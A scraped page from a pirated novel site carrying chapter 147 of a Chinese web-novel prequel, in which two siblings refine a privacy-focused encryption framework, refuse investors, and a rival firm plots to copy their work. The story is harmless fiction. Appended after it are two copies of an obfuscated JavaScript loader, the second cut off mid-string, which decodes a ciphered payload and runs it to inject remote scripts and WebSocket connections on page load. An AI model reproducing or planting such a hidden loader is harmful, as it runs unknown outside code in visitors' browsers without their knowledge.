首页
前传第147章 不慕名利,唯
返回
关灯 护眼:关 字号:小

前传第147章 不慕名利,唯爱技术本身

章节报错(免登陆)

一秒记住【笔趣阁】
biquge34567.com,更新快,无弹窗!

    前传第147章不慕名利,唯爱技术本身(第1/2页)
    窗外的夜色漫进老旧公寓的落地窗,城市远处写字楼群依旧灯火连片,那是无数互联网企业、科技公司还在灯火通明追逐商业收益的喧嚣。可这间位于老小区顶楼、不到七十平米的出租屋内,却仿佛隔绝了外界所有的浮躁。
    墙面没有精致的装饰,只贴着满满一墙打印出来的算法推导公式,A4纸张层层叠叠,用透明胶带固定在墙面,有些边角已经微微卷起。桌上三台高性能主机不间断运转,风扇低沉的嗡鸣,是这个房间日夜不变的背景音。
    姚浮萍蜷在略显陈旧的电竞椅上,长发随意扎成低马尾,几缕碎发垂落在额前。她眼神一动不动盯着屏幕上滚动的代码,指尖在键盘上起落,节奏稳定,几乎不受周遭一切干扰。对于此刻的她而言,窗外霓虹、行业风波、金钱名利,全都遥远得如同另一个世界。
    在她的世界里,只有0和1,只有加密、脱敏、溯源,只有一行行代码背后,数据流动的逻辑。
    “先歇一会儿吧,连续盯了十四个小时,眼睛不要了?”
    姚厚朴端着两杯温热的大麦茶,轻轻放在工作台边角,生怕杯子磕碰桌面,发出的响动惊扰到沉浸在代码之中的妹妹。
    这间屋子,是兄妹俩租住了整整两年的小窝。没有高薪大厂的办公室落地窗,没有高端写字楼的中央空调,夏天空调老旧制冷一般,到了夜里主机散热带来的热量,总让屋内闷得有些燥热。可就是在这一方小小的天地之中,姚浮萍一点点打磨出了五彩绫镜最早一代底层加密雏形。
    没有人给他们高额的研发经费,没有团队庞大的后勤支撑,没有投资人随时跟进进度。所有的推演、试错、推翻、重构,大多就靠着兄妹两个人日夜一点点磨出来。
    姚浮萍手指短暂离开键盘,眨了眨有些酸胀的双眼,视线依旧舍不得离开显示器。
    “还差最后一组混沌加密参数调试。今天如果调通,这套底层框架抗暴力破解能力,能够再提升接近三成。现在停下来,思路断了,下次再接上,要浪费至少大半天。”
    她的声音淡淡的,没有激昂,没有热血宣言,只是陈述一个客观事实。对于姚浮萍来说,算法调试,就像是解一道没有人给出标准答案的漫长谜题。思路一旦连贯,任何中断都是损耗。
    姚厚朴叹了一口气,拉过一旁简易折叠椅坐下。他看向墙面密密麻麻的演算纸张,眼底带着几分心疼,也带着一丝敬佩。
    外人看姚浮萍,总觉得这个年轻女孩性格古怪,不善交际,不懂人情世故,放着大把赚钱的机会视而不见,实在是太过执拗。只有姚厚朴清楚,妹妹并不是不懂钱有多重要,也不是完全活在真空里面。
    年少时父母常年奔波,家里日子一度拮据,兄妹俩并不是不知柴米油盐昂贵。只是在姚浮萍的价值排序里面,永远有比收益、报酬、身价更加重要的东西。
    “刚刚创投圈那个张总又给我发消息了。”姚厚朴拿起放在桌边的手机,屏幕还停留在聊天界面,“还是之前那件事,想要单独约我们出去吃一顿晚饭,好好聊聊投资。对方开出的条件,比上一次还要优厚不少。”
    提到投资人,姚浮萍脸上没有半点期待,眉头微微蹙起。
    又是这样。
    自从兄妹二人那一套自主研发的底层加密算法,在小众技术圈子里面悄悄传开之后,各种各样的投资人、创投经理、科技公司猎头,就像是闻到蜂蜜的蜂群,源源不断找上门来。
    最开始只是一些中小投资机构,开出几百万估值。到后来,一些业内赫赫有名的资本陆续进场,报价一路水涨船高。
    资本给出的话术永远如出一辙。
    你们手握顶尖算法,缺商业化团队,缺资金,缺市场渠道。只要愿意出让一部分专利权益,资本可以立刻给到巨额资金,组建豪华运营团队,迅速推向市场,迅速变现,年纪轻轻实现财务自由。
    在很多技术从业者眼中,这几乎是梦寐以求的剧本。寒窗多年,技术落地,资本入场,身价暴涨。
    可姚浮萍每一次听完,心里只有一种本能的抵触。
    “他们想要的从来不是这套加密技术本身。”姚浮萍伸手,指尖轻点屏幕上那一串串代码,眼神清冷,“他们想要的,是这套技术能换来多少流量,多少客户,多少财报上亮眼的数据。一旦资本进场,所有技术路线,都会为盈利让路。”
    姚厚朴沉默。
    他不得不承认,妹妹说到了关键点上。
    这些年互联网行业走过的弯路,所有人都看在眼里。很多原本初衷美好的技术项目,在资本进场之后,慢慢偏离初心。数据安全不再用来守护普通人隐私,反而变成收割用户、拿捏客户的工具。加密技术变成宣传噱头,内核不断缩水,一切只为降低成本、拉高利润。
    可现实又是残酷的。
    仅凭兄妹两个人,想要把一套底层加密系统走完完整落地、测试、迭代全流程,太难了。资金、资质、行业资源、合规对接,每一道门槛,单凭两个技术人员很难跨过去。
    “我明白你的顾虑。”姚厚朴放缓语气,耐心说道,“但是我们也不能一味全部回绝。我们可以听听对方条件,守住底线。专利所有权不放,技术决策权不交给资本。只是拿资金,不交出方向盘。未必没有折中方案。”
    这是姚厚朴一直在思考的平衡点。他不像妹妹那般,对资本本能排斥。他见过生存的艰难,明白想要做成一件大事,离不开资源加持。但是他同样清楚,技术的方向盘,一旦交出去,再想要拿回,难于登天。
    姚浮萍轻轻摇了摇头。
    “资本本身没有对错,但是资本的逻辑,是逐利。”她看向窗外沉沉夜色,“投资人投入资金,目的就是回报。短期看不到高额回报,就会不断施压,要求改变技术方向。今天我们守住底线,明年财报压力一来,董事会投票,商业化团队进场,一步一步,我们说了就不算了。”
    她见过太多前车之鉴。
    曾经有一个她很敬佩的开源加密项目,创始人初衷也是想要给普通人一套免费、安全的数据防护方案。拿到大额融资之后,仅仅两年时间,整个项目彻底转向。免费版本大幅阉割安全性能,核心功能只面向付费大客户开放,底层算法为了适配商业盈利需求,多次妥协。
    创始人的初心,在董事会的压力之下,步步退让,最后项目彻底背离最初愿景。
    那一件事,深深烙印在了姚浮萍心里。
    她熬无数个日夜打磨这套底层算法,初衷很简单。如今互联网时代,普通人的数据无处躲藏。浏览记录、身份信息、消费习惯,时时刻刻被收集、流转、倒卖。很多普通人甚至根本不知道,自己的隐私正在裸奔。
    (本章未完,请点击下一页继续阅读)前传第147章不慕名利,唯爱技术本身(第2/2页)
    她想写出一套足够牢靠的加密底座,让普通人的数据,可以真正被保护。
    不是大企业用来装点门面的宣传标签,不是资本收割市场的武器。只是单纯,守护数据。
    “我研发这套代码,不是为了给哪家财团赚钱。”姚浮萍声音不高,却异常坚定,“如果最后的结局,是算法落入资本手里,用来当做商业博弈的工具,那我这几年熬的无数个通宵,就失去了全部意义。”
    姚厚朴看着妹妹倔强的侧脸,心里清楚,她一旦下定主意,很难被外人游说改变。
    “行,那这一次邀约,我回掉。”姚厚朴在聊天框,敲下婉拒赴约的回复,发送完毕,把手机锁屏放到一旁,“不过浮萍,有一件事我们早晚要面对。算法打磨完成之后,我们该怎么走?一直放在本地测试,永远无法落地到真实场景,再优秀的代码,也只能躺在硬盘里面。”
    这是横在二人面前最大的难题。
    技术完成,不等于使命落地。想要走出小小的出租屋,走入真实市场,团队、资金、落地渠道,缺一不可。这条路,他们还没有找到答案。
    姚浮萍低头看向屏幕上刚刚调试完成的参数,屏幕绿光映在她清澈的眼底。
    “我不知道未来会遇见谁,会走哪一条路。但是有一件事我很确定。谁要是想要这套算法,先要看清楚一件事——技术底线不能谈。不能拿用户隐私换取利润,不能为了商业收益弱化加密防护。谁接受这条底线,我们才有谈下去的必要。”
    她所求从来不多。
    没有豪宅豪车的期待,没有光鲜头衔的执念,也没有一夜成名的渴望。
    旁人追逐名利,于她而言如同浮云。她所有的热忱、执念、日夜的付出,只源于一件事——她热爱代码,热爱算法本身,她相信技术可以向善。
    不慕名利,唯爱技术本身。
    ……
    就在兄妹二人在出租屋内打磨底层算法的这个夜晚,城市另一端,一间高端会所茶室之中,一场谈话正在进行。
    创投张总放下手机,收到姚厚朴那条婉拒赴约的回复,嘴角微微沉了下来。
    “又回绝了?”坐在他对面,荆棘科技创始人周荆,端起紫砂茶杯,慢悠悠抿了一口热茶。
    “嗯,还是老一套说辞,不谈商业化变现,不愿意出让技术控制权。两个年轻人,手握这么顶尖的加密底座,思路太理想化,看不清市场规则。”张总语气带着一丝遗憾,又夹杂几分不悦,“开出的条件已经足够优厚,换做别的技术团队,早就满口答应。”
    周荆眼底掠过一丝幽冷。
    他很早就注意到姚浮萍兄妹这套加密算法。
    多年深耕数据安全赛道,荆棘科技的思路,从一开始就和姚浮萍截然不同。在周荆眼中,数据安全本质就是一门生意。隐私保护只是产品卖点,盈利才是最终目的。为了市场份额,可以调整产品标准,可以弱化安全等级,可以用低价倾销挤压对手生存空间。
    当他了解到市面上出现一套性能远超行业平均水平的自主加密底层,第一反应就是,要么收入囊中,要么,扼杀在摇篮。
    “年轻人理想主义,很正常。”周荆淡淡一笑,语气带着老谋深算的从容,“不过理想,在现实利益面前,大多不堪一击。现在他们待在小出租屋里面,还没有见识市场残酷。等到后续研发资金见底,现实压力压到头顶,他们的想法自然会变。”
    “如果他们始终不肯松口呢?”张总问道。
    周荆指尖轻轻敲打茶桌台面,眼神冷静:“那就只能备选方案。这套底层架构思路很有价值,我们安排研发团队拆解公开测试版本,绕开专利,重构一套相似商用版本。市场窗口期不等人,不能一直耗在两个年轻人身上。”
    资本与野心,已经悄然将目光锁定在了那一间不起眼的顶楼出租屋。只是姚浮萍兄妹此刻尚且不知,一场围绕这套加密算法的博弈,已经缓缓拉开序幕。
    ……
    深夜十一点半。
    调试终于收尾。
    屏幕之上,最后一组参数跑通,压力测试报告缓缓加载完毕。
    各项抗破解指标全部达标,新版本底层框架顺利完成。
    姚浮萍长长呼出一口气,紧绷了一整天的肩膀终于放松下来,疲惫瞬间席卷全身。
    “成了。”她轻声吐出两个字,眼底难得浮现出一丝淡淡的喜悦。
    不是赚到钱的欣喜,不是获得外界认可的兴奋。仅仅是,一道难题,被解开了。一行行日夜打磨的代码,终于抵达了阶段性目标。这种来自技术本身的成就感,足以抵消所有熬夜的疲惫。
    姚厚朴凑上前看着屏幕上的测试数据,脸上露出欣慰的神色。两年多的坚持,一步步走到现在,总算看见了阶段性成果。
    “先休息。剩下文档整理放到明天。”姚厚朴起身准备去厨房热一点夜宵,“再厉害的算法,也扛不住人先垮掉。”
    姚浮萍点点头,身体向后靠在椅背上,目光望向电脑屏幕角落,一个尘封许久的文档。
    那是很早之前,她随手写下的一段话,是她投身加密技术最初的初心。
    【技术本身无善恶,决定价值的,是使用它的人心。我只希望,我写下的每一行代码,用来守护普通人,而不是算计普通人。】
    这么久一路走来,外界无数声音试图改变她。高薪邀约、资本许诺、名利诱惑,一波接着一波涌过来。很多人告诉她,现实一点,成熟一点,不要死守不切实际的理想。
    可每当夜深,代码跑通,她心里始终清楚自己想要什么。
    名声,财富,行业地位,这些东西,从来都不是她追逐的目标。
    她真正热爱的,是代码逻辑本身,是技术向善这件事。
    不慕名利,唯爱技术本身。
    窗外城市灯火渐次熄灭,长夜漫漫。属于姚浮萍、姚厚朴的路,依旧还在远方。而命运的引线,已经悄然伸展开来,在不久的将来,会把龙胆草、曹辛夷,九里香、林晚这些同样在黑夜之中各自挣扎、坚守初心的人,牵引到同一条征途之上。
    一场关于国产数据安全技术的长路,才刚刚掀开序章。
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF 